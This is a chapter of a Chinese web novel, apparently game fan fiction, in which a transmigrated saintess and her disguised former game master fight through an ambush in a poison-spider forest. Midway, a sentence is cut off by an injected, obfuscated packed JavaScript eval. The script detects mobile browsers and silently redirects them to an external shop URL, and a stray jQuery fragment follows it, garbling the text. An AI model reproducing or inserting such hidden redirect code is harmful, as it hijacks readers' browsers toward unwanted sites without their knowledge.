叶蓁蓁第一千零一次觉得，这个世界对她的恶意是实打实的。
她盯着艾黎长老递过来的羊皮纸，声音没压住：“混编小队？五毒教、七秀坊、唐门、天策府的人编在一起？去剿灭黑龙沼深处的天一教据点？”
“圣女息怒，”艾黎擦了擦额头，示意她放低声音，“这是中原各派商定的方案。说是为了增进门派交流，促进武林团结——”
“团结个屁。”叶蓁蓁脱口而出，然后想起自己顶着圣女的身份，硬生生把表情扳回来，“我的意思是，不合理。各门派武学路数不同，配合不熟，贸然混编只会互相拖累。”
“可中原各派的使者说……这是曲云教主当年定下的规矩，每年这个时候都要组织一次‘五毒会武’，各派混编剿灭天一教残党。”
叶蓁蓁想起来了。
游戏里确实有这个活动，每年端午前后的“五毒会武”，玩家混编在黑龙沼做任务，奖励还行。
但时间不对。
“那为什么是现在？按惯例会武在下个月。”
“乌蒙贵早晚都要拿着那群乌合之众叛变，那天一教残党也一直蠢蠢欲动。”艾黎叹了声，声音压得更低，“中原各派想借此机会，一方面清剿邪教，一方面……试探我五毒的态度。”
试探。
叶蓁蓁听懂了。
中原各派不确定五毒教现在是团结一致，还是已经分裂。
借着会武派人进来看看。
“具体人员的名单呢？”
艾黎递过来另一张纸。
叶蓁蓁扫了一眼，眼皮跳了两下。
小队编号“丁三”，队员：
叶蓁蓁（五毒圣女，领队）
唐小婉（唐门弟子，远程）
李承恩（天策府校尉，近战）
乌索（五毒弟子，近战）
“乌索？”她挑挑眉，旋即瞥到艾黎的视线，讪讪一笑尽量让自己声音平稳，“他你也敢用？况且他不是该在烛龙殿？”
“乌蒙贵说这是戴罪立功的机会。”
“戴罪？”叶蓁蓁抬头，“他有什么罪？带人刺杀圣女失败？他听乌蒙贵的话办的事，在五毒教的规矩里也没有功能立。”
艾黎无奈摇头：“圣女，乌蒙贵说这话的时候，中原各派的使者也都在场。如果当场驳回，就等于公开告诉所有人：五毒内部已经分裂了。”
叶蓁蓁顿住。
艾黎继续解释：“中原各派来干什么的？来‘试探’的。如果我们不让乌索参加，他们会认为乌蒙贵已经另立山头。但如果我们让乌索参加，就等于是告诉中原各派：乌蒙贵还是五毒的人，五毒还没散。”
“所以这趟浑水我必须蹚，乌索这个人我必须带。”
“正是。”艾黎苦笑朝她行礼，“这是做给外人看的。至于暗地里……您多留个心眼就是了。”
叶蓁蓁盯着名单上“乌索”两个字，沉默了几秒。
陶言蹊 ，那个笨蛋。
同化度18%，只能被乌蒙贵当刀使，毕竟随时可能被乌索的人格覆盖。
她不能拒绝，至少在明面上不能。
“曲云教主那边有消息吗？”
“教主被天一教缠在南诏边境，传信说让我们自行决断。”
叶蓁蓁放下名单：“什么时候出发？”
“午时，圣坛广场集合。”
—— ——
午时的圣坛广场，各门派服饰五颜六色。七秀坊的粉衣、唐门的黑衣、天策府的银甲、纯阳宫的白袍……还有五毒教众的各色苗疆服饰，银饰叮当响成一片。
场面挺还原游戏。
如果忽略那些NPC脸上过于生动的表情，和空气里若有若无的紧绷气氛的话。
“圣女大人。”一个穿粉衣的七秀姑娘走过来行礼，“七秀坊弟子苏雨鸾，奉命参加会武。”
叶蓁蓁认得她。
游戏里的琴秀，性格温和，擅长治疗。“苏姑娘客气，一路辛苦了。”
“不辛苦。”苏雨鸾微笑，凑近两步，“小心混在队伍里的眼睛。”
叶蓁蓁心里一动：“谢谢。”
正说着，人群一阵骚动。
叶蓁蓁抬眼。
陶言蹊来了。
黑色劲装，腰间挂弯刀，脸上没什么表情。
周围人下意识往两边退了几步。
乌索的名声在五毒教里确实不怎么样，叛徒的养子，乌蒙贵的爪牙，手上沾过不少同门的血。但明面上，他还是五毒教的弟子。
至少今天，他穿着五毒的制式劲装。
陶言蹊径直走到集合点，抱臂站在角落，闭目养神。
叶蓁蓁注意到他脸色比三天前更白了，眼下青黑很深。
左手一直按在右臂上，那里缠着新绷带。
又受伤了？
她把这丝异样压下去，移开视线。
“人都到齐了！”天策府将领李承恩走到中央，声如洪钟，“本次会武共十二支小队，每队四人。任务：清剿黑龙沼‘毒蛛林’区域的天一教据点。以斩首数和缴获物资计分。”
很标准的游戏任务。
叶蓁蓁在心里吐槽。
“各队领队抽签决定路线。”
叶蓁蓁上前抽了一根竹签。
丁三队，路线：毒蛛林西北侧，断魂崖。
“断魂崖……”李承恩看了一眼，眉头微皱，“地势险要，毒虫遍布。圣女小心。”
“多谢将军。”
各队陆续出发。
叶蓁蓁带着唐小婉、李承恩、乌索快速离开圣坛，往黑龙沼深处走。
气氛尴尬得能拧出水来。
四个人里，三个知道乌索是乌蒙贵的人，但谁都没挑明。
唐小婉是个活泼性子，走了一段路忍不住先开口：“李将军，听说您上个月单枪匹马挑了青岩山贼窝？”
“职责所在。”
“圣女大人，”唐小婉又转向叶蓁蓁，“五毒教的蛊术好神奇，我能不能学两招？”
“唐门暗器独步天下，何必学蛊术。”
唐小婉碰了两个软钉子，也不气馁，又看向陶言蹊：“乌索大哥，你——”
“闭嘴。”
唐小婉：“……”
叶蓁蓁：“……”
李承恩咳嗽一声：“诸位，前方就是毒蛛林了。按情报，天一教在这里设了三处据点，逐一清理。”
总算进正题了。
叶蓁蓁打起精神，扫视四周。
毒蛛林，游戏里刷过无数遍的地图。
参天古木遮天蔽日，地面腐叶厚实，空气里一股甜腻腥气，树上挂着蛛网，拳头大小的蜘蛛在网间爬行。
“等等。”她抬手。
队伍停下。
“有埋伏。前面树上，右侧偏三寸的方向，两个弓箭手。左侧灌木丛里，三个刀手。”
李承恩惊讶地凉了武器，抬眼看了过去：“圣女如何得知？”
“虫子告诉我的。”叶蓁蓁面不改色。
实际是游戏记忆，这个位置确实有固定埋伏点。
陶言蹊睁眼看了她一眼。
那眼神：徒弟，装得还挺像。
她瞪回去：要你管。
“我去解决弓箭手。”唐小婉摸向千机匣。
“我去左侧。”李承恩长枪一抖。
“我策应。”陶言蹊拔刀。
标准游戏分工。
远程清场，近战突进，辅助策应。
叶蓁蓁恍惚了一瞬，像回到游戏里，和师父、野队友一起打日常。
“动手。”
四人同时出击。
唐小婉弩箭精准，两个弓箭手应声坠落。
李承恩长枪如龙，灌木丛里一挑三不落下风。
乌索身形鬼魅，弯刀专攻下盘，补刀干净利落。
叶蓁蓁站在后方，虫笛在手，没找到出手机会。
那三个人太猛了。
接下来的两个小时，小队一路平推。
唐小婉的暗器神出鬼没，李承恩的枪法大开大合，乌索的刀法刁钻狠辣，配合得居然还算默契。
叶蓁蓁大部分时间在划水。
直到断魂崖。
“不对劲。”陶言蹊停步。
“怎么？”李承恩问。
“太安静了。”陶言蹊盯着前方崖壁，“情报说这是天一教最大的据点，至少五十人驻守。现在连个放哨的都没有。”
叶蓁蓁也感觉到了。游戏里断魂崖是小怪密密麻麻的地方，还有个小BOSS。此刻崖壁上静悄悄的，只有风吹过藤蔓的沙沙声。
“有埋伏？”唐小婉警觉地举起千机匣。
话音刚落，崖壁上哨声四起。
几十个黑影跃下！
看着倒不像天一教的人，穿着各门派校服，还是混搭风格。
“流寇！”李承恩脸色一变，“黑龙沼深处流窜的各派叛徒逃犯，怎么会聚在这里？”
游戏里确实有流寇野怪。但没听说会主动伏击会武小队。
“中计了。”陶言蹊声音沉下来，“有人故意引我们过来。”
流寇已冲到眼前。
至少八十人。
四对八十。
“结阵！”李承恩大喝，长枪横在身前。
唐小婉迅速后撤，千机匣连发，箭雨覆盖前方。
陶言蹊和叶蓁蓁同时后退，背靠背站在一起。游戏里被围攻时他们经常这样站位，互相掩护后方。
“徒弟，”陶言蹊压低声音，“左边的下盘不稳，攻膝盖。”
“右边剑招花哨但起手慢，用蝎心打断。”
两人同时出手。
陶言蹊弯刀横扫，叶蓁蓁虫笛一点，配合天衣无缝。
“好！”李承恩长枪舞成银幕，挡住正面攻击。
唐小婉在后方疯狂输出，箭矢、毒蒺藜、雷火弹轮番上阵，流寇人仰马翻。
但敌人太多了。
源源不断，杀不完。
【系统提示：世界排斥度+1%，当前8%】
叶蓁蓁余光瞥见面板闪了一下。
刚才那记蝎心是用非常规能力，排斥度涨了。
她没时间细看，又一笛子敲翻一个。
“这样下去不行。”陶言蹊喘着气，背上又添一道伤口，“得突围。”
“往哪突？”叶蓁蓁侧身躲过一刀，“四面都是人。”
“崖壁。上面有藤蔓，爬上去。”
“你疯了？”唐小婉惊叫，“上面可能还有埋伏！”
“留在这里死路一条！”陶言蹊没回头，“李将军开路！唐姑娘掩护！你跟在我身后，上！”他自然而然地接过指挥权。
其余三人下意识服从了。
李承恩长枪一振，在人群中撕开一道口子。
唐小婉箭雨覆盖两侧，阻断合围。
陶言蹊抓住叶蓁蓁的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719015|208579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腕，两人冲向崖壁。
藤蔓粗如儿臂，爬满毒虫。
陶言蹊一刀劈开挡路的毒蛇，率先往上攀。
叶蓁蓁紧随其后。
刚爬了十来米，下面传来唐小婉的惊呼：“李将军！”
李承恩被三个流寇缠住，背后空门大开，一个巨斧壮汉正抡斧砍向他后心！
来不及了。
电光石火间，陶言蹊松开藤蔓，纵身跃下。
“陶言蹊！”叶蓁蓁失声。
陶言蹊在半空中调整姿势，弯刀脱手掷出，正中壮汉手腕。
巨斧脱手，李承恩险险躲过一劫。
但陶言蹊自己成了活靶子。
三把刀、两杆枪同时刺来。
“噗嗤——”
利器入肉的声音！
血花飞溅。
陶言蹊闷哼一声，从半空跌落。
【系统提示：误差率+0.5%，当前10.7%；同化度当前20%】
叶蓁蓁脑子里“嗡”了一下。
她松手，跟着跳了下去。
落地翻滚，虫笛横扫。
“滚开！”
绿光炸开。
围攻陶言蹊的流寇被震飞出去。
【系统提示：世界排斥度+2%，当前10%】
她扑到陶言蹊身边。他胸前插着一把刀，左肩中了一枪，右腿被砍了一刀，浑身是血。但眼睛还睁着，看着她。
“你……”他嘴唇动了动，“跳下来……”
“闭嘴。”叶蓁蓁手忙脚乱掏伤药，“别说话。”
李承恩和唐小婉终于杀出重围冲了过来。
“走！”李承恩一把背起陶言蹊，“我知道有个山洞！”
四人且战且退，狼狈逃进崖壁深处一个隐蔽山洞。
李承恩放下陶言蹊，在洞口布下简易陷阱。
唐小婉点燃火折子照亮洞内。
叶蓁蓁跪在陶言蹊身边，手抖得解不开他衣襟。
“我来。”唐小婉用匕首割开染血的衣服。
伤口触目惊心。胸前的刀伤差一点就刺中心脏，左肩枪伤贯穿，右腿刀伤深可见骨。还有大大小小的划伤不计其数。
“必须止血。”李承恩掏出金疮药，“但药不够。”
“用我的。”叶蓁蓁拿出圣女特制的伤药。炼制不易，平时舍不得用。此刻管不了那么多，她打开药瓶往伤口上撒。
陶言蹊疼得抽搐，咬紧牙关没出声：“你……浪费……”
“再说话把你嘴缝上。”
陶言蹊居然笑了。
药粉见效快，血渐渐止住。但他的脸色白得像纸，呼吸微弱。
“失血过多，”唐小婉探了探脉搏，“需要静养，不能再动了。”
“可这里不安全，”李承恩皱眉看了眼外边，说出眼下窘迫，“流寇随时可能搜过来。”
“我去引开他们。”叶蓁蓁垂眸站起身。
“不行！”三人同时反对。
“圣女身份尊贵，不能冒险。”李承恩说。
“我轻功好，我去。”唐小婉自告奋勇。
陶言蹊第一时间抓住叶蓁蓁的手腕，很用力，虽然那只手在抖：“别去……等入夜……我有办法……”
“你有个屁的办法！”叶蓁蓁恨不得去戳他伤口，小脸儿气鼓鼓的。
李承恩和唐小婉对视一眼，讪讪撇开头，这两人……怎么怪怪奇奇的。
“乌索，我是说我在这里有个秘密据点。咳咳，离这里不远……入夜后毒虫活动……能掩护。”陶言蹊边说边抬手按着太阳穴，每次调动‘乌索’的记忆，真头疼。
叶蓁蓁怔了怔，也明白。这是乌索的记忆。
没想到，同化度高了，这时候倒是派上用场了。
她轻轻挣开束缚，重新坐下：“好，那我们等。”
洞内安静下来。
只有乌索（陶言蹊）粗重的呼吸声，和洞外隐约的搜寻声。
叶蓁蓁撕下自己衣摆沾水，给他擦脸。血污擦去，露出那张过分好看的脸，此刻苍白脆弱，没什么血色。
“徒弟……”陶言蹊闭着眼，声音轻得像从喉咙里挤出来的，“刚才……配合不错……”
“废话，你教的。”
“但……青出于蓝了……”
“少拍马屁啊。”
陶言蹊又笑了，牵动伤口疼得龇牙咧嘴。
叶蓁蓁看着他，忽然说：“欠你一次。”
他睁开眼。
火光跳跃，映在她脸上，明明灭灭。“徒弟欠师父的，多了去了。”
唐小婉和李承恩对视一眼，并未听清两人嘀咕的话，却依旧默契地转过头。
洞外天色渐暗。
毒蛛林的夜晚即将来临。
洞内两个人，在生死一战后，有什么东西悄无声息地破开了一层冰。
叶蓁蓁伸手去握着他的。感受着他体温在回升，心底倒是舒了一口气。
还活着。
都还活着。
这就够了。
至于其他的……等活下去再说。
【系统提示：默契度+5%，当前20%】
面板闪了一下，又暗下去。她没有关，就那么让那行字悬在视野角落。
后来她听说，唐小婉当天就随天策府的队伍回了中原，临行前托人带话：“五毒的蛊术果然厉害，下次有机会再来讨教。”
—— ——